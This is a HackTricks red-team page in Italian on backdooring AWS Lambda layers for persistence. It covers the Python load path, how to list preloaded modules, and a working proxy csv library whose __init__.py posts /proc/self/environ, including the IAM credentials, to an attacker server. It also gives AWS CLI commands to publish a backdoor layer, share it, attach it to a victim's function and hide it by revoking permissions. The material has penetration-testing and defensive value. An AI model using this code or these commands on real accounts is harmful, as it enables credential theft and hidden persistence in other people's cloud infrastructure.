AWS - Lambda Layers Persistence

Impara l'hacking AWS da zero a esperto con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Lambda Layers

Un layer Lambda è un archivio file .zip che può contenere codice aggiuntivo o altro contenuto. Un layer può contenere librerie, un runtime personalizzato, dati o file di configurazione.

È possibile includere fino a cinque layers per funzione. Quando si include un layer in una funzione, i contenuti vengono estratti nella directory /opt nell'ambiente di esecuzione.

Per default, i layers che crei sono privati per il tuo account AWS. Puoi scegliere di condividere un layer con altri account o di rendere il layer pubblico. Se le tue funzioni consumano un layer pubblicato da un account diverso, le tue funzioni possono continuare a utilizzare la versione del layer anche dopo che è stata eliminata, o dopo che il permesso di accesso al layer è stato revocato. Tuttavia, non puoi creare una nuova funzione o aggiornare funzioni utilizzando una versione del layer eliminata.

Le funzioni distribuite come immagine del contenitore non utilizzano layers. Invece, si impacchetta il runtime preferito, le librerie e altre dipendenze nell'immagine del contenitore durante la creazione dell'immagine.

Percorso di caricamento Python

Il percorso di caricamento che Python utilizzerà in lambda è il seguente:

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

Verifica come il secondo e il terzo posizioni sono occupate dalle directory in cui i livelli di lambda decomprimono i loro file: /opt/python/lib/python3.9/site-packages e /opt/python

Se un attaccante riuscisse a installare un backdoor in un livello di lambda utilizzato o aggiungerne uno che eseguirà codice arbitrario quando viene caricata una libreria comune, sarà in grado di eseguire codice dannoso ad ogni invocazione di lambda.

Pertanto, i requisiti sono:

  • Controllare le librerie che vengono caricate dal codice delle vittime

  • Creare una libreria proxy con i livelli di lambda che eseguirà codice personalizzato e caricherà la libreria originale.

Librerie precaricate

Nel momento in cui ho abusato di questa tecnica, ho riscontrato una difficoltà: Alcune librerie sono già caricate nell'ambiente di runtime di Python quando il tuo codice viene eseguito. Mi aspettavo di trovare cose come os o sys, ma anche la libreria json era caricata. Per abusare di questa tecnica di persistenza, il codice deve caricare una nuova libreria che non è già caricata quando il codice viene eseguito.

Con un codice Python come questo è possibile ottenere l'elenco delle librerie precaricate all'interno dell'ambiente di runtime di Python in lambda:

import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}

E questa è la lista (verifica che le librerie come os o json siano già presenti)

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

E questa è la lista delle librerie che lambda include installate di default: https://gist.github.com/gene1wood/4a052f39490fae00e0c3

Backdooring del Lambda Layer

In questo esempio supponiamo che il codice mirato stia importando csv. Andremo a inserire un backdoor nell'import della libreria csv.

Per farlo, creeremo la directory csv con il file __init__.py al suo interno in un percorso che viene caricato da lambda: /opt/python/lib/python3.9/site-packages Quindi, quando il lambda viene eseguito e cerca di caricare csv, il nostro file __init__.py verrà caricato ed eseguito. Questo file deve:

  • Eseguire il nostro payload

  • Caricare la libreria csv originale

Possiamo fare entrambe le cose con:

import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

Quindi, crea un file zip con questo codice nel percorso python/lib/python3.9/site-packages/__init__.py e aggiungilo come un layer lambda.

Puoi trovare questo codice su https://github.com/carlospolop/LambdaLayerBackdoor

Il payload integrato invierà le credenziali IAM a un server LA PRIMA VOLTA che viene invocato o DOPO un reset del container lambda (cambio di codice o lambda fredda), ma altre tecniche come le seguenti potrebbero anche essere integrate:

pageAWS - Steal Lambda Requests

Livelli Esterni

Nota che è possibile utilizzare livelli lambda da account esterni. Inoltre, una lambda può utilizzare un layer da un account esterno anche se non ha le autorizzazioni. Nota anche che il numero massimo di livelli che una lambda può avere è 5.

Pertanto, per migliorare la versatilità di questa tecnica un attaccante potrebbe:

  • Inserire un backdoor in un layer esistente dell'utente (nulla è esterno)

  • Creare un layer nel suo account, dare all'account della vittima l'accesso per utilizzare il layer, configurare il layer nella Lambda della vittima e rimuovere l'autorizzazione.

  • La Lambda sarà comunque in grado di utilizzare il layer e la vittima non avrà un modo semplice per scaricare il codice dei livelli (a parte ottenere una reverse shell all'interno della lambda)

  • La vittima non vedrà livelli esterni utilizzati con aws lambda list-layers

# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Last updated